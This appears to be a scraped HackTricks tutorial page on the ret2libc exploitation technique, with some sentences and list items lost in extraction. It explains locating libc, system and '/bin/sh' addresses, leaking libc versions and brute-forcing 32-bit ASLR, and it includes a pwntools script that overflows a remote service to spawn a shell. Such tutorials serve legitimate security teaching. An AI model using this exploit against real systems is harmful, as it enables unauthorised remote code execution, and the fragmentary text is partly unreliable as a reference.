Search K
Appearance
Appearance
Other ways to support HackTricks:
The essence of Ret2Libc is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., system, execve, strcpy) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention.
libc
used is the one from current machine you can find where it'll be loaded in memory with:ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
If you want to check if the ASLR is changing the address of libc you can do:
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
system
function with:readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
/bin/sh
function with:strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
Knowing the libc used, It's also possible to use Peda or GEF to get address of system function, of exit function and of the string /bin/sh
:
p system
p exit
find "/bin/sh"
If the process is creating children every time you talk with it (network server) try to read that file (probably you will need to be root).
Here you can find exactly where is the libc loaded inside the process and where is going to be loaded for every children of the process.
In this case it is loaded in 0xb75dc000 (This will be the base address of libc)
It might be possible that you don't know the libc the binary is loading (because it might be located in a server where you don't have any access). In that case you could abuse the vulnerability to leak some addresses and find which libc library is being used:
And you can find a pwntools template for this in:
Check the page https://libc.blukat.me/ and use a couple of addresses of functions inside the libc to find out the version used.
These brute-forcing attacks are only useful for 32bit systems.
for off in range(0xb7000000, 0xb8000000, 0x1000):
libc
function usleep
, passing as argument 10 (for example). If at some point the server takes 10s extra to respond, you found the address of this function.Execute a shell just jumping to one specific address in libc:
In this example ASLR brute-force is integrated in the code and the vulnerable binary is loated in a remote server:
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
Check the example from:
In the case of ARM64, the ret instruction jumps to whereber the x30 registry is pointing and not where the stack registry is pointing. So it's a bit more complicated.
Also in ARM64 an instruction does what the instruction does (it's not possible to jump in the middle of instructions and transform them in new ones).
Check the example from:
This allows to leak information from the process by calling printf
/puts
with some specific data placed as an argument. For example putting the address of puts
in the GOT into an execution of puts
will leak the address of puts
in memory.
This basically means abusing a Ret2lib to transform it into a printf
format strings vulnerability by using the ret2lib
to call printf with the values to exploit it (sounds useless but possible):
system('/bin/sh')
/bin/sh
.system('/bin/sh')
(the heap address is needed to bypass a check).Other ways to support HackTricks: